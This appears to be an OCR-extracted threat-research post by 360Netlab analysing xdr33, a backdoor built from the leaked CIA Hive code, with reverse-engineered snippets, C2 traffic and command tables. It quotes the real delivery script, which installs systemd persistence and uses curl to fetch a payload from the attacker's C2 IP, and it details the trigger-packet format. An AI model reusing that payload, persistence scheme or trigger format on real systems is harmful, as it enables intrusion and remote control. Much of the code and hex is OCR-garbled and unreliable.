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Heads up! Xdr33, A Variant Of CIA’s HIVE Attack Kit Emerges
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Overview

On Oct 21, 2022, 360Netlab's honeypot system captured a suspicious ELF file
ee07a74d12c@bb3594965b51d0e45b6f , which propagated via F5 vulnerability with zero VT detection, our system
observces that it communicates with IP 45.9.150.144 using SSL with forged Kaspersky certificates, this
caught our attention. After further lookup, we confirmed that this sample was adapted from the leaked Hive
project server source code from CIA. This is the first time we caught a variant of the CIA HIVE attack kit in

the wild, and we named it xdr33 based on its embedded Bot-side certificate CN=xdr33 .

To summarize, xdr33 is a backdoor born from the CIA Hive project, its main purpose is to collect sensitive
information and provide a foothold for subsequent intrusions. In terms of network communication, xdr33 uses
XTEA or AES algorithm to encrypt the original traffic, and uses SSL with Client-Certificate Authentication mode
enabled to further protect the traffic; in terms of function, there are two main tasks: beacon and trigger, of which
beacon is periodically report sensitive information about the device to the hard-coded Beacon C2 and execute the
commands issued by it, while the trigger is to monitor the NIC traffic to identify specific messages that conceal
the Trigger C2, and when such messages are received, it establishes communication with the Trigger C2 and waits

for the execution of the commands issued by it.

The functional schematic is shown below.
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Hive uses the BEACON_HEADER_VERSION macro to define the specified version, which has a value of 29 on the
Master branch of the source code and a value of 34 in xdr33 , so perhaps xdr33 has had several rounds of

iterative updates already. Comparing with the HIV source code, xdr33 has been updated in the following 5 areas:

e New CC instructions have been added

e Wrapping or expanding functions

e Structs have been reordered and extended
o Trigger message format

e Addition of CC operations to the Beacon task

These modifications to xdr33 are not very sophisticated in terms of implementation, and coupled with the fact that
the vulnerability used in this spread is N-day, we tend to rule out the possibility that the CIA continued to improve
on the leaked source code and consider it to be the result of a cyber attack group borrowing the leaked source

code.

Vulnerability Delivery Payload

The md5 of the Payload we captured is ad40060753bc3a1d6f380a5054c1403a , and its contents are shown below.

cat <<EOF > /etc/systemd/system/logd.service

[Unit]

Description=Logs system statistics to the systemd journal
Wants=1logd. timer

[Service]

Type=oneshot

ExecStart=/bin/bash /var/service/logd.check
StandardOu 1

StandardErro

KillMode=process

[Install]
WantedBy=multi-user.target
EOF

# logd. timer
cat <<EOF > /etc/systemd/system/logd.timer

Q,

ion=Logs system statistics to the systemd journal
Requires=logd.service

[Timer]
Unit=logd.service
OnCalendar=*-*-* *:%:00

[Install]
WantedBy=timers.target
EOF

1
cd /command/bin ./hlogd

chmod 755 /var/service/logd.check

[ ! -f /command/bin/hlogd ] mkdir -p /command/bin curl http: .9.150. : 20966 6 -0 fcommand/bin/hlogd chmod 755 /command/bin/hlogd
systemctl daemon-reload

systemctl enable logd.service

systemctl start logd.service

The code is simple and straightforward, and its main purpose is to
e Download the next stage of the sample and disguise it as /command/bin/hlogd .

e Install logd service for persistence.
Sample analysis

We captured only one sample of xdr33 for the X86 architecture, and its basic information is shown below.
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MD5:ee@7a74d12c@bb3594965b51d0e45b6 f
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped

Packer: None

Simply put, when xdr33 runs in the compromised device, it first decrypts all the configuration information, then
checks if it has root/admin permissions, if not, it prints “Insufficient permissions. try again... “and exit; otherwise
initialize various runtime parameters, such as C2, PORT, runtime interval, etc. Finally, the two functions

beacon_start and TriggerListen are used to open the two tasks of Beacon and Trigger.

)

else {

DLX (1, printf("ALL BEACONS DISABLED, beaconInfo. initDelay <= 0.

The following article mainly analyzes the implementation of Beacon and Trigger from the perspective of binary

inversion; at the same time, we also compare and analyze the source code to see what changes have occurred.

Decrypting configuration information

xdr33 decodes the configuration information by the following code snippet decode_str, its logic is very simple,

i.e., byte-by-byte inverse.

for ( result = @; result < a2; ++result )
*(_BYTE *)(al + result) = ~*(_BYTE *)(al + result);
return result;

In IDA you can see that decode_str has a lot of cross-references, 152 in total. To assist in the analysis, we

implemented the IDAPython script Decode_RES in the appendix to decrypt the configuration information.
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xrefs to decode str

Directio Ty Address

Text

p main+136 decode str
Up p main+147 call decode str
Up p main+162 call decode str
Up p main+170 call decode str
Up p decode init+D call decode str
Up p decode init+1B call decode str
Up p decode init+29 call decode str
Up p decode init+37 call decode str
Up p decode init+45 call decode str
Up p decode init+53 call decode str
Up p decode init+61 call decode str
Up p decode init+6F call decode str
Up p decode init+7D call decode str
Up p decode init+8B call decode str
Up p decode init+99 call decode str
Up p decode init+A7 call decode str
Up p decode init+B5 call decode str
Up p decode init+C3 call decode str
Up p decode init+D1 call decode str
Up p decode init+DF call decode str
Up p decode init+ED call decode str

[Line 1 of 152 |

The decryption results are shown below, including Beacon C2 45.9.150.144 | runtime prompt messages,

commands to view device information, etc.
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8edcof4, b[45.9.150.144)\x00\x86\xb8\x01C+\xf7, \xf5\xe7\x0b\xd4Q\xb9\xa6\n~\xfelN\xc9\x9e\xa3n\x
\xab\xel\xaayt\xaa\x18\xcOQ\xcl\x0b\xfo\xd6\xa3f\x0b™ \xc3\xed\xed\x9a\xd2\xcc\x82\x92% \x02\xdc\
W82\ x8bw\x01\x86\xb8\xa2\xe5\ x84 \xad\x8a\xb5\x87I\xbo\xb7\x8a\xcf\xBc\xce\xc3Ln\x14" \xcbk\x08"\
\xc8\xcd\xfO6\x17\x17-\x16\xcdn\xcd\xaa: \xd5\x9bT\xa2\xd9\xdc\x04\xb81\xd0\xad®\xel\x12\x1dq\xd4
80dcl1f4, b'\xPe\x00\x00)\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

80dc204, b'\xPe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

80dceed,[b™ Insufficient permissions. Try again...\n\x0@0'
80dceb®,|b'a:cD:d:hi:j:K:k:P:p:S5:s:t:\x00"

80dcea®d, b'Option error\x@e’

80dce99, b'File not found\x@e'

80dce8@, b'ID too short\x00'

80dce6®, b'Too many characters for address\x@o’

80dce5@, b'/proc/uptime’\x00"

80dcedd, b'tasklist\xee'

80dce3c, b'ps -ef\x00’

80dce34, b'proci\x00’

80dce2c, b'stat\x00*

80dced®d, b'\npid state ppid pgrp session command\n\x0e'
80dcddc, b'ipcontig /all\x@e’

80dcdc8, b'/sbin/ifconfig -a\x@0'

80dcda®, b'error fetching interface information\xoe'

Beacon Task

The main function of Beacon is to periodically collect PID, MAC, SystemUpTime, process and network related
device information; then use bzip, XTEA algorithm to compress and encrypt the device information, and report to

C2; finally wait for the execution of the commands issued by C2.

0x01: Information Collection
e MAC

Query MAC by SIOCGIFCON or SIOCGIFHWADDR

do
{
if ( !GetMac_via_SIOCGIFCONF((int)(al + 3@8)) )
break;
wrap_sleep(4);
if ( !GetMac_via_SIOCGIFHWADDR((int)(al + 3@8), "ethe") )

break;
if ( !GetMac_via_SIOCGIFHWADDR((int)(z1 + 3@8), "enp@s3") )
break;
if ( !GetMac_via SIOCGIFHWADDR((int)(al + 3@8), "ene") )
break;
}
while ( vl );

¢ SystemUpTime

Collects system up time via /proc/uptime
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int getuptime()
{
int v@; // eax
int v2; // ebx
int v3; // [esp+14h] [ebp-Ch] BYREF

vi o= 8;
vl =  GI fopen(aProcUptime, "r");
if ( lve ) .
return 0; /proc/uptime
v2 = v@;
if ( sub_809B387(ve, "%i", &v3) == -1 )
return @;

sub_8@099528(v2);
return v3;

e Process and network-related information

Collect process, NIC, network connection, and routing information by executing the following 4

commands

net_cmd dd offset aPsEf ; DATA XREF: run_cmd+2I
| "ps —et"
"/sbin/ifconfig -a"
"netstat -antu”
"netstat -rn"

dd offset aSbinIfconftigh
dd offset aNetstatlAntu ;
dd offset aNetstatRn B

0x02: Information processing

Xdr33 combines different device information through the update_msg function

vl5 = [get_proclistivea]]
if ( vIS )

update _msg(( DWORD *)dword 8OEA728,| 3
v64[8] = 2048;
vle =|get_1tcontig(ved);l
if ( vio )

update _msg(( DWORD *)dword 8OEA720,|4,|(int)vic, vod[8]);
v64[8] = 2048;
v17 =|get_netstatRN((int)v64);|
if ( vli7 )

update msg(( DWORD *)dword 8OEA720,|5
v64[8] = 2048;
v18 = (int)eet _netstatANTU(vE4);
if ( vis )

update _msg(( DWORD *)dword 8OEA720,|6

(int)vl5, vo4[0]);

bl

vl7, ve4[8]);

bl

v18, ve4[8]);

=l
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In order to distinguish different device information, Hive designed ADD_HDR, which is defined as follows, and

"3, 4, 5, 6" in the above figure represents different Header Type.

typedef struct __attribute__ ((packed)) add_header {
unsigned short type;
unsigned short length;

} ADD_HDR;

What does "3, 4, 5, 6" represent exactly? This depends on the definition of Header Types in the source code below.

xdr33 is extended on this basis, with two new values 0 and 9, representing Sha1[:32] of MAC , and PID of

xdr33 respectively

Some of the information collected by xdr32 in the virtual machine is shown below, and it can be seen that it
contains the device information with head type 0,1,2,7,9,3.

00000000 : coljBBlBBR:3 35 35 63-37 37 36 39-35 62 36 66 | [c55¢c77695b64]
00000018 : 35 63 32-34 62 30 63-66 37 63 63-63 65 33 65 Md5c24bBcf7cccese
00000020 : 36 34 3ofjee o1ljJBEEe 32 2D 30-63 2D 32 39 B4640 Cflee-ec-29
00000038 39 34 2D-64 39 2D 34-33fjee 0

00000048 31 34 ocfjee o

0006050 38 39 34-33fjee @ A 55 49-44 20 20 2 device]info

It is worth mentioning that type=0, Shal1[:32] of MAC , which means that it takes the first 32 bytes of MAC

SHA1. Take the mac in the above figure as an example, its calculation process is as follows.

mac:00-0c-29-94-d9-43, remove "-"
result:00 0c 29 94 d9 43

shal of mac:
result:c55c77695b6fd5c24b0cf7ccce3e464034b20805

shal[:32] of mac:
result:c55c¢77695b6fd5c24b0cf7ccce3ed640
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When all the device information is combined, use bzip to compress it and add 2 bytes of beacon_header_version
and 2 bytes of OS information in the header.
800000060 : 39-31 41 59 26-53 59 28 CD

oeeeeele: 4A A 8 7 FF-FE 61 @8 55-7F FF F7 FF
00000020 00-42 ee e4 99 o1 94- e1

00000030: : - gzﬁl@ ”U aE:
00000040: 7 A C7 6D° %9

00000050 A C9-B6_G2oB6 95 09 08 28 e:
00000060: BE 94 20 20w t OnNs ﬁ@

= 6 mo CM=oe [F-!LLUL
00000070: 83 14 F4-F5 4F 14 7E-A8 D3 D4 D3-4F63 13 D4 lag[]o9~;ltlosnt

80660080 : 2 27 A7 A8 eD- 4-(: 3C ::5 2 88 1A 49 EA G2'r~ '*'.LlE&e—'IQ
cosonose. o1 D EEXEON: NCRGIPAVEHSION e

©000600A0 44 24 o@ 4D 46 8D 1A- 96 4-9 6o 00-03 40 66 80 #DICMFi

0x03: Network Communication

The communication process between xdr33 and Beacon C2 contains the following 4 steps, and the details of each

step will be analyzed in detail below.

o Two-way SSL authentication
Obtain XTEA key
e Report XTEA encrypted device information to C2

e Execute the commands sent by C2
Stepl: Two-way SSL Authentication

Two-way SSL authentication requires Bot and C2 to confirm each other's identity, from the network traffic level, it

is obvious that Bot and C2 request each other's certificate and verify the process.

Source Destination Protocol Destination Port Info

172.19.119.163 45.9.150.144 TCP 47232 > 443 [ACK] Seg=1 Ack=1 Win=64256 Len=0 TSval=2004673259 TSecr=1738555381
172.19.119.163 45.9.150.144 TLSv1.2 Client Hello

45.9.150.144 172.19.119.163 TCP > = =283 Win=64896 Len=8 TSval=1738555690 TSecr=2004673295
45.9.150.144 172.19.119.163 TLSv1.2 | Server Hello, Certificate i

172.19.119.163 45.9.150.144 TCP 47232 > 443 [ACK] Seq=283 Ack=1449 Win=64128 Len=0 TSval=2004673561 TSecr=1738555692
45.9.150.144 172.19.119.163 TLSv1.2 Server Key Exchange_, Server Hello Done

172.19.119.163 45.9.150.144 TCP 47232 > 443 [ACK] Seq=283 Ack=2099 Win=63488 Len=0 TSval=2004673561 TSecr=1738555692
172.19.119.163 45.9.150.144  TLSv1.2

45.9.150.144 172.19.119.163 TCP 443 > 47232 [ACK] Seq=2099 Ack=1619 Win=64128 Len=6 TSval=1738555967 TSecr=2004673577
172.19.119.163 45.9.150.144 TLSv1.2 Client Key Exchange, Certificate Verify, Change Cipher Spec, Encrypted Handshake Message

The author of xdr33 uses the kaspersky.conf and thawte.conf templates in the source repository to generate the

required Bot certificate, C2 certificate and CA certificate.
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"content/document/repo_hive/client/ssl/CA"

] ca.crt
O CA-HOWTO txt
1 cakey
1 cert_app
] clientert
L] clientkey [ my_req dn ]
; . C=RU

: examplea ST=Moscow
L] gen_test cash L=Moscow
. ) - - 0O=Kaspersky Laboratory
L] index oU=IT
. ind tt Cl=www.kaspersky.com

| IndexX.atir
L]  kaspersky.conf
] mygen.sh

+ newcerts
0 README
] serial [ my_req_dn ]
— C=ZA

3 server.crt ST=Western Cape
. L=Cape Town

| Server.key O=Thawte Consulting cc
—a OU=Certification Services Division

sslconf.ixt CN=Thawte Premium Server CA

E‘J thawte.conf emailAddress=premium-server@thawte.com

The CA certificate, Bot certificate and PrivKey are hardcoded in xdr32 in DER format.

if ( sub_8@87516((int)&unk_8@E316@,[ (int)&CA, 8x561) ) |
return 8;

dword 80E3418 = 0;

memset(&unk _8BE32C0, ©, 0x158u);

dword 80E341C = 09;
if sub_8687516((int)&unk_86E32CG,|gint!&Cert, 0x529)

| sub_S@?QBB?((int)&dword_86E3418,|Prviey, Ox4A7u, (1int) J9P0Z2wRopIMyIlQkzsg@a9DV™

;757 )

{

return @;

The Bot certificate can be viewed using openssl x509 -in Cert -inform DER -noout -text , where CN=xdr33,

which is where the family name comes from.

Page 9 of 26


https://blog.netlab.360.com/content/images/2022/12/hive_certconf.png
https://blog.netlab.360.com/content/images/2022/12/hive_certconf.png
https://blog.netlab.360.com/content/images/2022/12/hive_sslsock.png
https://blog.netlab.360.com/content/images/2022/12/hive_sslsock.png

https://blog.netlab.360.com /headsup_xdr33_variant_of_ciahive_emeerges/

valiudity
Not Before: Oct 7 19
Not After : Mar 16 19:! :
Subject: C=RU, 0=Kaspersky Laboratory, CN=Engineering, CN=xdr ST=Moscow, L=Moscow, OU=IT
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 b1it)
Modul

You can use openssl s_client -connect 45.9.150.144:443 to see the C2 certificate. bot, C2 certificates are

disguised as being related to kaspersky, reducing the suspiciousness of network traffic in this way.

Not Before:
Not After :
Subject: C=RU, 0
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:

The CA certificates are shown below. From the validity of the 3 certificates, we presume that the start of this
activity is after 2022.10.7.

Page 10 of 26


https://blog.netlab.360.com/content/images/2022/12/hive_botcert.png
https://blog.netlab.360.com/content/images/2022/12/hive_botcert.png
https://blog.netlab.360.com/content/images/2022/12/hive_c2cert.png
https://blog.netlab.360.com/content/images/2022/12/hive_c2cert.png

https://blog.netlab.360.com /headsup_xdr33_variant_of_ciahive_emeerges/

Certificate:
Data:
Version: 3 (0x2)
Serial Number: © (0x0)
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=ZA, ST=Western Cape, L=Cape Town, O=Thawte Consulting cc, OU=Certification Services Division, CN=Thawte Premium Server CA/emailAddress=premium-server@thawte.com
Validity
Not Before: Oct 7 14:11:38 2022 GMT
Not After : Oct 1 14:11:38 2047 GMT
Subject: (=ZA, Si=Western Cape, L=Cape lown, O=Thawte Consulting cc,| OU=Certification Services Division, CN=Thawte Premium Server CA/emailAddress=premium-server@thawte.com
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:

Exponent: 65537 (0x10001)
X509v3 extension
£00,

€onstraints: critical

Step2: Obtain XTEA key

After establishing SSL communication between Bot and C2, Bot requests XTEA key from C2 via the following
code snippet.
Ifor (1 =0; j!=64; *((_BYTE *)ved + J++) = sub_80A1423() % 255 ) |

Va9 = (payload_len & OxFFFFFFFE) + 8; random 64 bytes

memset(vE3, @, sizeof(ve3));
memset(tmp, @, 38u);
wrap_sprintf((int)ve3, (int)"%u™, v49);
V27 = @: . .

bl st s s 1 (len of len of device info) xor 5

{

T (len of device info) xor 5
tmp[v27] = v29 ~ 5;

gmemcpy (v64, tmp, V2E);

if ( erypto_write((int)vs4, ve4d, @xd4eu) < @ )
goto LABEL_9@;

memset(ve4, 8, sizeof(ved));

v38 = crypto_read(vs4, v64, @x26u);

i (vo 1= 32 ) get the tea key
break:

lamemcpy (v62, (char *)vé4 + (LOBYTE(v64[@]) ~ 5u) % OxF + 1, sizeof(v62));|

The processing logic is.

1. Bot sends 64 bytes of data to C2 in the format of "length of device information length string (xor 5) +

device information length string (xor 5) + random data".

2. Bot receives 32 bytes of data from C2 and gets 16 bytes of XTEA KEY from it, the equivalent python code
to get the KEY is as follows.

XOR_KEY=5
def get_key(rand_bytes):
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offset = (ord(rand_bytes[@]) ™ XOR_KEY) % 15
return rand_bytes[(offset+1):(offset+17)]

Step3: Report XTEA encrypted device information to C2

Bot uses the XTEA KEY obtained from Step2 to encrypt the device information and report it to C2. since the

device information is large, it usually needs to be sent in chunks, Bot sends up to 4052 bytes at a time, and C2

replies with the number of bytes it has accepted.

xtea_enc((int)veo, 1, (unsigned int *)v63, vol);

already send = @;
do
{
v39 = v49 - already_send;
if ( v49 - already_send > 4852 )
V20 = 40852;

i crypto_write((int)v54, (unsigned int *)}((char *)v15 + already_send), v39) < @ )
goto LABEL 98;
memset(vo3, @, sizeof(vo2));
vd@ = crypto_read(v54, (unsigned int *)v63, 38u);
if ((vd0 < 8 )
{
sub_B8@997AE("2");
goto LABEL 98;
}
if ( lvde )
break;
already_send += hex{({int)ve3);

}

while ( v49 > already send );

It is also worth mentioning that XTEA encryption is only used in Step3, and the subsequent Step4 only uses the

SSL-negotiated encryption suite for network traffic, and no longer uses XTEA.

Step4: Waiting for execution command (new function added by xdr33)

After the device information is reported, C2 sends 8 bytes of task number N of this cycle to Bot, if N is equal to 0,

it will sleep for a certain time and enter the next cycle of Beacon Task; if not, it will send 264 bytes of task. bot
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receives the task, parses it, and executes the corresponding instruction.

case 1:

goto LABEL_4;
case 2:

goto LABEL_4;

&

vA2 = crypto_read(v54, (unsigned int *)ve6, 264u); updated = upload(al, (char *)v2);

{. v6[0] = delete_1((char *)v2);
if (=) if ( 1vele) )
Handle_beacon_cmd((int)v54, v66); goto LABEL_13;
} updated = delete 2((iztI1¥)
else if ( v42 != BxFFFF97@@ ) EL_4:
{ v6[@] = updatem c
goto LABEL_91; EL_13:
¥ u-6[6b,4 #swap_ulong(vo[@]);
AT cryptc®¥ite(al, ve, 8u);
} free(v2
vi0 = 8; return ve[e];
} case 8:

updated = launchshell((int)v2);
goto LABEL_4;

case 9:
updated = proxy({int)v2);

updated = Download(al, (char *)v2, _byteswap_ulong(*((_DWORD *)aZ + 64)), 0);

updated = exec((int)v2, *((_DWORD *)a2 + 65), @, @);

H{eémg(*((DhCRD a2 + 64)));

case 3:
while ( v41 < _byteswap_ulong(v61[1]) ) updated = update(al, *({_DWORD *)a2 + 65), (const char *)v2,
{ goto LABEL_4;
memset(voht, @, @x108u); case 4:

‘t‘38 = v42; goto LABEL_4;
if (w42 > 8 ) case 5: Eo

The supported instructions are shown in the following table.

Index Function

0x01 Download File

0x02 Execute CMD with fake name "[kworker/3:1-events]"
0x03 Update

0x04 Upload File

0x05 Delete

0x08 Launch Shell

0x09 Socket5 Proxy

0x0b Update BEACONINFO

Network Traffic Example

The actual step?2 traffic generated by xdr33
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00000000 @2 31 32 37 35 28 le 6f 57 ee c9 10 35 73 95 38  .1275(.0 W...55.8
00000010 f2 61 bf 42 6b 95 6e 91 99 45 e8 ab 5c le 2e 83 .a.Bk.n. .E..\...
00000020 bd f7 ce 32 22 84 6} i? o2 T) 12 a2 8e 57 47 @0 ...2".a. ..... WG.
eooeoe3e 51 5f da 62 2¢ 8c 6D LEII& 3a 4a 1a 4f £f do Q_.b..b. ..:J.0..
10000000 4a 75 Oc 36 ea 2609 9b @8 cf 53 be €7 @@ be 11 Ju.6.... ..S.....
p0000010 #2031 Ff4145/38 b1 99 fb_ 08 ©5 a6 93 ef 23 a4 84 B1.E:i... ..... #..

gU00004d 65 d8 b 1O b8 37 37 eb 71 b7 U3 65 54 80 74 87  ¢&..../7. g..el.C.
00000050 8b e3 cf bb 40 ae 54 9f 86 83 e2 @b 6a 68 57 do  ....@.T. ....jhu.
00000060 9a 2f Sb 84 93 le bl ed 30 81 34 72 el 47 df 27  ./[..... 0.4r.G."
00000070 e9 20 17 dd 34 fd 83 af «cb ff @a 45 22 @a e8 d1 . ..4... ...E"...
00000080 7b d2 77 cb 68 b3 2d Se ea 56 50 50 82 4a 61 c¢6 {.w.h.-~ .vPP.Ja.
00000090 9e 68 17 c8 10 9e dd a3 b8 ba 13 ¢5 6f d9 a8 dd  .h...... U T
eoo0o0Ae 3d e3 fc d8 46 47 tStep 43 c5 1f od 83 fa dc  =...FGoe TF......
000000B@ af bd fb a3 34 de 4b 22 ™4 18 85 ¢3 5a f5 59 dc  ....4.K" ....Z.Y.
PEPEPACE a3 8e 15 64 ba 8c 8d 6d 38 d4 37 @1 45 ad de a1 ...d...m 8.7.E...
@00000D@ dc 61 54 ©a b6 49 ca Sc 78 b3 a6 5b 9a 24 7b 3a  .aT..I.\ x..[.${:
POPPEPE® ©1 f8 bc e3 be ©3 83 2b 3b 82 3a e3 ec 8d cb 4a ....... + jateeaad
@00PPOFe 11 32 30 4a a7 5d 57 62 52 f9 a6 63 ae 13 6¢c 43  .203.]uwb R..c..lC
00000100 od 48 54 8c d4 23 3f @0 71 ce 85 4c ec 45 2b fc  HT..#?. g..l.E+.
e e e e Ta L e la T o A AL r Ll oo P s T B P T B e T Y L S B lewmr |1 o

The interaction in step3, and the traffic from step4

Peee1eee 7c 16 ec 75 d5 32 e2 a7 53 @9 do b1 |..u.2.. Scclocss
eeee1010 db b3 5c 82 5o Mo

00eeee20 34 30 35 32 4052
oo oo us: o - 'p!3m. oo
|

peee1234 28 28 87 67 fe 24 ac 6c &l cl1 d6 99 1c b2 8f a5 ((.g.%5.1

peee1294 d3 7a d7 ac 1@ 42 87 ca 24 3d al 65 54 91 fc 5¢ .Z...B.. $=.eT..\
peee12A4 c6 22 de 87 6e 14 6b d2 3b d6 72 25 oanlk. ek

ARARAA2A 36 36 I8 BA]

0oeBR27 00O B0 P8 PO B0 P8 BB B Step_.4 |

What information can we get from this? ?
1. The length of the device information length string, 0x1 A 0x5 = 0x4
2. The length of the device information, 0x31,0x32,0x37,0x35 respectively xor 5 gives 4720
3.teakey 2E @9 9B @8 CF 53 BE E7 A@ BE 11 42 31 F4 45 3A

4. C2 will confirm the length of the device information reported by the BOT, 4052+668 = 4720, which

corresponds to the second point

5. The number of tasks in this cycle is 00 00 00 00 00 00 00 , i.e. there is no task, so no specific task of 264

bytes will be issued.

The encrypted device information can be decrypted by the following code, and the decrypted data is 00 22 00 14
47 5A 68 39 , which contains the beacon_header_version + os + bzip magic , and the previous analysis can

correspond to one by one.
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import hexdump

import struct

def xtea_decrypt(key,block,n=32,endian="1"):

v@,v1 = struct.unpack(endian+"2L", block)

k = struct.unpack(endian+"4L", key)

delta,mask = 0x9e3779b9,0xffffffff

sum = (delta * n) & mask

for round in range(n):
vl = (vl - (((v@<<4 N v@>>5) + v@) N (sum + k[sum>>11 & 3]))) & mask
sum = (sum - delta) & mask
vl = (v0 - (((v1<<4 A y1>>5) + v1) N (sum + k[sum & 3]))) & mask

return struct.pack(endian+"2L",v0,v1)

def decrypt_data(key,data):
size = len(data)
i=0
ptext = b"'
while i < size:
if size - i >= 8:
ptext += xtea_decrypt(key,data[i:i+8])
i+=38
return ptext
key=bytes. fromhex("""
2E 09 9B 08 CF 53 BE E7 A®@ BE 11 42 31 F4 45 3A
"
enc_buf=bytes.fromhex(
65 d8 b1 f9 b8 37 37 eb

")

hexdump . hexdump(decrypt_data(key,enc_buf))

Trigger Task

The main function of the Trigger is to listen to all traffic and wait for the Triggger IP message in a specific format.
Once the message and the Trigger Payload hidden in the message pass the layers of verification, the Bot

establishes communication with the C2 in the Trigger Payload and waits for the execution of the instructions sent.

0x1: Listening for traffic

Use the function call socket( PF_PACKET, SOCK_RAW, htons( ETH_P_IP ) ) toset RAW SOCKET to capture IP
messages, and then the following code snippet to process IP messages, you can see that Tirgger supports TCP,UDP
and the maximum length of message Payload is 472 bytes. This kind of traffic sniffing implementation will

increase the CPU load, in fact using BPF-Filter on sockets will work better.

Page 15 of 26



https://blog.netlab.360.com /headsup_xdr33_variant_of_ciahive_emeerges/

if ( protocol 1= 17 )

{
if ( protocol == 6 ) /[ tcp part
{
HIBYTE(v12) = vd->tot_len;
LOBYTE(v12) = HIBYTE(v4->tot len);
tep = (tephdr *)({char *)vd + 4 * v6);
tcppayload len = v12 - 4 * v6 - 4 * (¥({ BYTE *)tcp + 12) >> 4); .
lif ( (unsigned  intl6)(tcppayload len - 126) <= 346u )| 472 maximum
return Eheck_tcpt(int)tcp, tcppayload_len, outbuf);
¥
return -1;
¥
HIBYTE(v7) = vd->tot len; // udp part

LOBYTE(v7) = HIBYTEL=A->tot len);

e = (char e + SUPPOFrt TCP UDP Protocol
v9 = v/ - 154;

udppayload_len = v7 - 28;

result = OxXFFFFFFFF;

if ( vo <= 346u )

return —(ﬁheck_udpl(int)udp, udppayload_len, outbuf) != @);
return result,

0x2: Checksum Trigger packets

TCP and UDP messages that meet the length requirement are further verified using the same check_payload

function.
xrefs to check_payload O
Directio Ty Address Text
(] d
j check tcp+1D jmp  check_payload
Line 1 of 2
0K | | Cancel | | Search | | Help
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check_payloadf{{X %40 T AT 7K:

v3 = crcle((unsigned  int8 *)(pavload + 8), 84);
result = -1;
[75 = (om0 ) (payToad + 3 % 2000 + 52); | calc crc16 offset
if ( (unsigned int)v5 <= pavload + (unsigned int)len )
{
HIBYTE(v6) = *u5;
LOBYTE(v6) = HIBYTE(*vS);
[f (v =ve) ] crc16 check

HIBYTE(v7) #(_WORD *)(pavload + v3 % 200u + 94);
LOBYTE(v7) = HIBYTE(*( WORD *)(payload + v3 % 200u + 94));
v8 = ‘? % 127u;

o5

mod 127 check

Tfor (1 =0; 1 I=29; ++1 )
*(_BYTE *)(out + 1) = *((_BYTE *)v5 + i + 12) ™ *(_BYTE *)(v3 % 55u + payload + i + 8);
return 9,

}

) decrypt trigger payload
}

return result;

}

The processing logic can be seen as follows.

e Use CRC16/CCITT-FALSE algorithm to calculate the CRC16 value of offset 8 to 92 in the message to get
crcValue

e The offset value of crcValue in the message is obtained by crcValue % 200+ 92, crcOffset

» Verify whether the data at crcOffset in the message is equal to crcValue, if it is equal, go to the next step

o Check if the data at crcOffset+2 in the message is an integer multiple of 127, if yes, go to the next step

o Trigger_Payload is encrypted, the starting position is crcOffset+12, the length is 29 bytes. the starting
position of Xor_Key is crcValue%55+8, XOR the two byte by byte, we get Trigger_Paylaod

So far it can be determined that the Trigger message format is as follows

N
8 bytes ||0-199(CRC % 200) bytes| 2 bytes 2 bytes 8 bytes
L paddlng 13 (0 (i (i I[ random padding cre [127*N) | padding

xored 29 bytes ' _
trigger payload ||En9padmng

133 bytes minimum / 472 bytes maximum

0x3: Checksum Trigger Payload

If the Trigger message passes the checksum, the check_trigger function continues to check the Trigger Payload
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int _ cdecl check_trigger(int payload, int out)
{

int result; // eax
_int16 v3; /[ di
__intle v4; [/ ax

if ( !payload )

return -1;
if ( lout )
retamn crc check

v3 = *( WORD *)(pavyload + 27);

*(_WORD *)(payload + 27) = @;

if ( (unsigned _ intl6)crcl6((unsigned _ int8 *)payload, 29) != ROL2_ (v3, 8) )
return -1,

*( DWORD *){out + 4) = *( DWORD *)(payload + 1); trigger c2

HIBYTE(v4) = *( WORD *)(payload + 5);

LOBYTE(v4) = HIBYTE(*(_WORD *)(payload + 5)); trigger port

*(_WORD *)(out + 8) = v4;

result = @;

gmemcpy ( (void *)(out + 12), (const void *)(pavload + 7), @x14u); sha1l

return result;

The processing logic can be seen as follows

o Take the last 2 bytes of the Trigger Payload and write it as crcRaw
o Set the last 2 bytes of the Trigger Payload to 0 and calculate its CRC16, which is called crcCalc

e Compare crcRaw and crcCalc, if they are equal, it means that the Trigger Payload is structurally valid.

Next, the SHA1 of the key in the Trigger Payload is calculated and compared with the hard-coded SHA1
46a3c308401e03d3195c753caal4ef34a3806593 in the Bot. If it is equal, it means that the Trigger Payload is also
valid in content, so we can go to the last step, establish communication with C2 in the Trigger Payload, and wait

for the execution of its issued command.

The format of the Trigger Payload can be determined as follows.

1 byte
not used

20 bytes key

Trigger payload 29 bytes

0x4: Execution of Trigger C2's command

After a Trigger message passes the checksum, the Bot actively communicates with the C2 specified in the Trigger

Payload and waits for the execution of the instructions issued by the C2.
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while { 1)
{
sub_804A4AA(vE, 8);
sub_8@97EE2(@xE1Qu);
memset(but, @, 264u);
vl = 551 read((int *)dword 8BEA728, but, 264u);
if (vl < 8)
break;
sub 8B9TEE2(0);
if (w3 )
sub_80AB827(v3);
v3 = heapalloc(0xFFu);
gmemcpy(v3, (char *)buf + 1, 255u);
switch ( LOBYTE(buf[@]) )

{
case @:
case 10:
viE[e] = 8;
goto LABEL_21;
case 1:

v5 = task 1(dword 8@EA728, (char *)v3i, byteswap ulong(buf[6d]), 8);
goto LABEL_25;
case 2:
memset(vs, B, sizeof(vi));
vS = task _2(v2, dword 80EA728, (int)vi, @);
goto LABEL_25;
case 4:
vS = task 4(dword 8BEAT28, (char *)v3);

The supported instructions are shown in the following table.

Index Function

0x00,0x00a Exit

0x01 Download File

0x02 Execute CMD

0x04 Upload File

0x05 Delete

0x06 Shutdown

0x08 Launch SHELL

0x09 SOCKETS5 PROXY
0x0b Update BEACONINFO
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It is worth noting that Trigger C2 differs from Beacon C2 in the details of communication; after establishing an
SSL tunnel, Bot and Trigger C2 use a Diffie-Helllman key exchange to establish a shared key, which is used in the

AES algorithm to create a second layer of encryption.

DL(3);
if ( crypt_handshake(cp) != SUCCESS )

DLX(2, printf("ERROR: TLS connection with TLS server failed to initialize. ));
crypt_ cleanup(cp),
